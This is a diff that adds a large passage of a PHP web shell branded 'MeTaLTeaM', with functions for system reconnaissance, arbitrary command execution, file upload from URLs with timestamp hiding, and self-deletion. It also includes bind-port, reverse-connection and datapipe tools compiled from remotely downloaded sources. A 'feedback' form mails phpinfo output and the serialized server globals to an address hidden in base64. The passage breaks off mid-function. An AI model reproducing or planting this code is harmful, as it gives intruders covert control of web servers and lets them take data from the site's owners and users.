+ if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf) ";}
+ if (file_get_contents("/etc/motd")) {echo "Message Of The Day ";}
+ if (file_get_contents("/etc/hosts")) {echo "Hosts ";}
+ function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)." ";}}
+ displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
+ displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
+ displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
+ displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
+ displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
+ displaysecinfo("RAM",myshellexec("free -m"));
+ displaysecinfo("HDD space",myshellexec("df -h"));
+ displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
+ displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
+ displaysecinfo("Is cURL installed?",myshellexec("which curl"));
+ displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
+ displaysecinfo("Is links installed?",myshellexec("which links"));
+ displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
+ displaysecinfo("Is GET installed?",myshellexec("which GET"));
+ displaysecinfo("Is perl installed?",myshellexec("which perl"));
+ displaysecinfo("Where is apache",myshellexec("whereis apache"));
+ displaysecinfo("Where is perl?",myshellexec("whereis perl"));
+ displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
+ displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
+ displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
+ displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
+}
+if ($act == "mkfile")
+{
+ if ($mkfile != $d)
+ {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+ }
+ else {$act = $dspact = "ls";}
+}
+if ($act == "encoder")
+{
+ echo "Encoder: Input: ".@htmlspecialchars($encoder_input)." Hashes :";
+ foreach(array("md5","crypt","sha1","crc32") as $v)
+ {
+ echo $v." - ";
+ }
+ echo " Url: urlencode -
+ urldecode -
+ Base64: base64_encode - ";
+ echo "base64_decode - ";
+ if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";}
+ else
+ {
+ $debase64 = base64_decode($encoder_input);
+ $debase64 = str_replace("\0","[0]",$debase64);
+ $a = explode("\r\n",$debase64);
+ $rows = count($a);
+ $debase64 = htmlspecialchars($debase64);
+ if ($rows == 1) {echo " ";}
+ else {$rows++; echo "".$debase64." ";}
+ echo " ^ ";
+ }
+ echo " Base convertations :dec2hex - ";
+}
+if ($act == "fsbuff")
+{
+ $arr_copy = $sess_data["copy"];
+ $arr_cut = $sess_data["cut"];
+ $arr = array_merge($arr_copy,$arr_cut);
+ if (count($arr) == 0) {echo "Buffer is empty! ";}
+ else {echo "File-System buffer "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
+}
+if ($act == "selfremove")
+{
+ if (($submit == $rndcode) and ($submit != ""))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using MeTaLTeaM".$shver."!"; k1r4exit(); }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else
+ {
+ if (!empty($rndcode)) {echo "Error: incorrect confimation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "Self-remove: ".__FILE__." Are you sure? For confirmation, enter \"".$rnd."\" : ";
+ }
+}
+if ($act == "update") {$ret = k1r4_getupdate(!!$confirmupdate); echo "".$ret." "; if (stristr($ret,"new version")) {echo " ";}}
+if ($act == "feedback")
+{
+ $suppmail = base64_decode("ZnJlZXNoZWxsNTEwQGdtYWlsLmNvbQ==");
+ if (!empty($submit))
+ {
+ $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
+ $body = "MeTaLTeaM".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
+ if (!empty($fdbk_ref))
+ {
+ $tmp = @ob_get_contents();
+ ob_clean();
+ phpinfo();
+ $phpinfo = base64_encode(ob_get_contents());
+ ob_clean();
+ echo $tmp;
+ $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
+ }
+ mail($suppmail,"MeTaLTeaM".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
+ echo "Thanks for your feedback! Your ticket ID: ".$ticket.". ";
+ }
+ else {echo "Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."): Your name: Your e-mail: Message:".htmlspecialchars($fdbk_body)." Attach server-info * There are no checking in the form. * - strongly recommended, if you report bug, because we need it for bug-fix. We understand languages: English, Russian. ";}
+}
+if ($act == "search")
+{
+ echo "Search in file-system: ";
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $search_i_f = 0;
+ $search_i_d = 0;
+ $a = array
+ (
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v) {k1r4fsearch($v);}
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = TRUE;
+ $act = "ls";
+ }
+ }
+ echo "
+
+Search for (file/folder name): - regexp
+Search in (explode \";\"):
+Text: ".htmlspecialchars($search_text)."
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ ";
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
+}
+if ($act == "chmod")
+{
+ $mode = fileperms($d.$f);
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+ else
+ {
+ $form = TRUE;
+ if ($chmod_submit)
+ {
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+ else {$err = "Can't chmod to ".$octet.".";}
+ }
+ if ($form)
+ {
+ $perms = parse_perms($mode);
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+ }
+ }
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile["tmp_name"]))
+ {
+ if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"! ";}
+ }
+ elseif (!empty($uploadurl))
+ {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else
+ {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
+ else
+ {
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file! ";}
+ else
+ {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
+ else
+ {
+ fwrite($fp,$content,strlen($content));
+ fclose($fp);
+ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ }
+ }
+ }
+ }
+ }
+ if ($miniform)
+ {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "File upload: ".$uploadmess."
+Select file on your local computer: or
+Input URL:
+Save this file dir:
+File-name (auto-fill):
+ convert file name to lovercase
+
+ ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = FALSE;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
+ }
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+ $act = "ls";
+}
+if (!$usefsbuff)
+{
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. ";}
+}
+else
+{
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); k1r4_sess_put($sess_data); $act = "ls"; }
+ elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); k1r4_sess_put($sess_data); $act = "ls";}
+ elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} k1r4_sess_put($sess_data); $act = "ls";}
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); k1r4_sess_put($sess_data);}
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ k1r4_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+ elseif ($actarcbuff)
+ {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+ if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
+ $cmdline .= " ".$actarcbuff_path;
+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v)
+ {
+ $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
+ if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
+ if (is_dir($v))
+ {
+ if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
+ $v .= "*";
+ }
+ $cmdline .= " ".$v;
+ }
+ $tmp = realpath(".");
+ chdir($d);
+ $ret = myshellexec($cmdline);
+ chdir($tmp);
+ if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";}
+ $ret = str_replace("\r\n","\n",$ret);
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ if (in_array($v,$ret)) {fs_rmobj($v);}
+ unset($sess_data["cut"][$k]);
+ }
+ k1r4_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ k1r4_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+}
+if ($act == "cmd")
+{
+if (trim($cmd) == "ps -aux") {$act = "processes";}
+elseif (trim($cmd) == "tasklist") {$act = "processes";}
+else
+{
+ @chdir($chdir);
+ if (!empty($submit))
+ {
+ echo "Result of execution this command : ";
+ $olddir = realpath(".");
+ @chdir($d);
+ $ret = myshellexec($cmd);
+ $ret = convert_cyr_string($ret,"d","w");
+ if ($cmd_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ @chdir($olddir);
+ }
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+}
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ else {}
+ }
+ if (count($list) == 0) {echo "Can't open folder (".htmlspecialchars($d).")! ";}
+ else
+ {
+ //Building array
+ $objects = array();
+ $vd = "f"; //Viewing mode
+ if ($vd == "f")
+ {
+ $objects["head"] = array();
+ $objects["folders"] = array();
+ $objects["links"] = array();
+ $objects["files"] = array();
+ foreach ($list as $v)
+ {
+ $o = basename($v);
+ $row = array();
+ if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif (is_dir($v))
+ {
+ if (is_link($v)) {$type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = $v;
+ $row[] = $type;
+ }
+ elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
+ $row[] = filemtime($v);
+ if (!$win)
+ {
+ $ow = posix_getpwuid(fileowner($v));
+ $gr = posix_getgrgid(filegroup($v));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
+ }
+ $row[] = fileperms($v);
+ if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
+ elseif (is_link($v)) {$objects["links"][] = $row;}
+ elseif (is_dir($v)) {$objects["folders"][] = $row;}
+ elseif (is_file($v)) {$objects["files"][] = $row;}
+ $i++;
+ }
+ $row = array();
+ $row[] = "Name ";
+ $row[] = "Size ";
+ $row[] = "Modify ";
+ if (!$win)
+ {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+ $parsesort = parsesort($sort);
+ $sort = $parsesort[0].$parsesort[1];
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+ $y = "";
+ $y .= " ";
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+ $v = $parsesort[0];
+ usort($objects["folders"], "tabsort");
+ usort($objects["links"], "tabsort");
+ usort($objects["files"], "tabsort");
+ if ($parsesort[1] == "d")
+ {
+ $objects["folders"] = array_reverse($objects["folders"]);
+ $objects["files"] = array_reverse($objects["files"]);
+ }
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+ $tab = array();
+ $tab["cols"] = array($row);
+ $tab["head"] = array();
+ $tab["folders"] = array();
+ $tab["links"] = array();
+ $tab["files"] = array();
+ $i = 0;
+ foreach ($objects as $a)
+ {
+ $v = $a[0];
+ $o = basename($v);
+ $dir = dirname($v);
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+ foreach ($regxp_highlight as $r)
+ {
+ if (ereg($r[0],$o))
+ {
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; k1r4exit();}
+ else
+ {
+ $r[1] = round($r[1]);
+ $isdir = is_dir($v);
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
+ {
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+ $disppath = $r[2].$disppath.$r[3];
+ if ($r[4]) {break;}
+ }
+ }
+ }
+ }
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+ $row = array();
+ if ($o == ".")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif ($o == "..")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif (is_dir($v))
+ {
+ if (is_link($v))
+ {
+ $disppath .= " => ".readlink($v);
+ $type = "LINK";
+ $row[] = " [".$disppath."] ";
+ }
+ else
+ {
+ $type = "DIR";
+ $row[] = " [".$disppath."] ";
+ }
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size($a[1]);
+ }
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+ if (!$win) {$row[] = $a[3];}
+ $row[] = "".view_perms_color($v)." ";
+ if ($o == ".") {$checkbox = " "; $i--;}
+ else {$checkbox = " ";}
+ if (is_dir($v)) {$row[] = " ".$checkbox;}
+ else {$row[] = " ".$checkbox;}
+ if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
+ elseif (is_link($v)) {$tab["links"][] = $row;}
+ elseif (is_dir($v)) {$tab["folders"][] = $row;}
+ elseif (is_file($v)) {$tab["files"][] = $row;}
+ $i++;
+ }
+ }
+ // Compiling table
+ $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
+ echo "Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders): ";
+ foreach($table as $row)
+ {
+ echo "\r\n";
+ foreach($row as $v) {echo "".$v." \r\n";}
+ echo " \r\n";
+ }
+ echo "
+
+
+ ";
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+ {
+ echo " ";
+ }
+ echo "With selected: ";
+ echo "Delete ";
+ echo "Change-mode ";
+ if ($usefsbuff)
+ {
+ echo "Cut ";
+ echo "Copy ";
+ echo "Unselect ";
+ }
+ echo "
";
+ echo "";
+ }
+}
+if ($act == "tools")
+{
+ $bndportsrcs = array(
+ "k1r4_bindport.pl"=>array("Using PERL","perl %path %port"),
+ "k1r4_bindport.c"=>array("Using C","%path %port %pass")
+ );
+ $bcsrcs = array(
+ "k1r4_backconn.pl"=>array("Using PERL","perl %path %host %port"),
+ "k1r4_backconn.c"=>array("Using C","%path %host %port")
+ );
+ $dpsrcs = array(
+ "k1r4_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
+ "k1r4_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
+ );
+ if (!is_array($bind)) {$bind = array();}
+ if (!is_array($bc)) {$bc = array();}
+ if (!is_array($datapipe)) {$datapipe = array();}
+
+ if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
+ if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
+
+ if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
+ if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
+
+ if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
+ if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
+ if (!empty($bindsubmit))
+ {
+ echo "Result of binding port: ";
+ $v = $bndportsrcs[$bind["src"]];
+ if (empty($v)) {echo "Unknown file! ";}
+ elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+ else
+ {
+ $w = explode(".",$bind["src"]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ elseif (!$data = k1r4getsource($bind["src"])) {echo "Can't download sources!";}
+ else
+ {
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%port",$bind["port"],$v[1]);
+ $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ sleep(5);
+ $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
+ if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
+ else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View binder's process ";}
+ }
+ echo " ";
+ }
+ }
+ if (!empty($bcsubmit))
+ {
+ echo "Result of back connection: ";
+ $v = $bcsrcs[$bc["src"]];
+ if (empty($v)) {echo "Unknown file! ";}
+ else
+ {
+ $w = explode(".",$bc["src"]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ elseif (!$data = k1r4getsource($bc["src"])) {echo "Can't download sources!";}
+ else
+ {
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%host",$bc["host"],$v[1]);
+ $v[1] = str_replace("%port",$bc["port"],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."... ";
+ }
+ }
+ }
+ if (!empty($dpsubmit))
+ {
+ echo "Result of datapipe-running: ";
+ $v = $dpsrcs[$datapipe["src"]];
+ if (empty($v)) {echo "Unknown file! ";}
+ elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+ else
+ {
+ $srcpath = $tmpdir.$datapipe["src"];
+ $w = explode(".",$datapipe["src"]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ elseif (!$data = k1r4getsource($datapipe["src"])) {echo "Can't download sources!";}
+ else
+ {
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
+ $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
+ $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ sleep(5);
+ $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
+ if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
+ else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View datapipe process ";}
+ }
+ echo " ";
+ }
+ }
+ ?>Binding port: Port: "> Password: "> $v) {echo "".$v[0]." ";}
+ ?>
+Back connection: HOST: "> Port: "> $v) {echo "".$v[0]." ";}
+?>
+Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!
+Datapipe: HOST: "> Local port: "> $v) {echo "".$v[0]." ";}
+?> Note: sources will be downloaded from remote server.Processes: ";
+ if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
+ else {$handler = "tasklist";}
+ $ret = myshellexec($handler);
+ if (!$ret) {echo "Can't execute \"".$handler."\"!";}
+ else
+ {
+ if (empty($processes_sort)) {$processes_sort = $sort_default;}
+ $parsesort = parsesort($processes_sort);
+ if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$y = " ";}
+ else {$y = " ";}
+ $ret = htmlspecialchars($ret);
+ if (!$win)
+ {
+ if ($pid)
+ {
+ if (is_null($sig)) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ if (posix_kill($pid,$sig)) {echo "OK.";}
+ else {echo "ERROR.";}
+ }
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $stack = explode("\n",$ret);
+ $head = explode(" ",$stack[0]);
+ unset($stack[0]);
+ for($i=0;$i".$head[$i]." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+{
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10));
+ $line = array_slice($line,0,11);
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+ $line[] = "KILL ";
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ else
+ {
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ $ret = convert_cyr_string($ret,"d","w");
+ $stack = explode("\n",$ret);
+ unset($stack[0],$stack[2]);
+ $stack = array_values($stack);
+ $head = explode("",$stack[0]);
+ $head[1] = explode(" ",$head[1]);
+ $head[1] = $head[1][0];
+ $stack = array_slice($stack,1);
+ unset($head[2]);
+ $head = array_values($head);
+ if ($parsesort[1] != "a") {$y = " ";}
+ else {$y = " ";}
+ if ($k > count($head)) {$k = count($head)-1;}
+ for($i=0;$i".trim($head[$i])." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode("",$line);
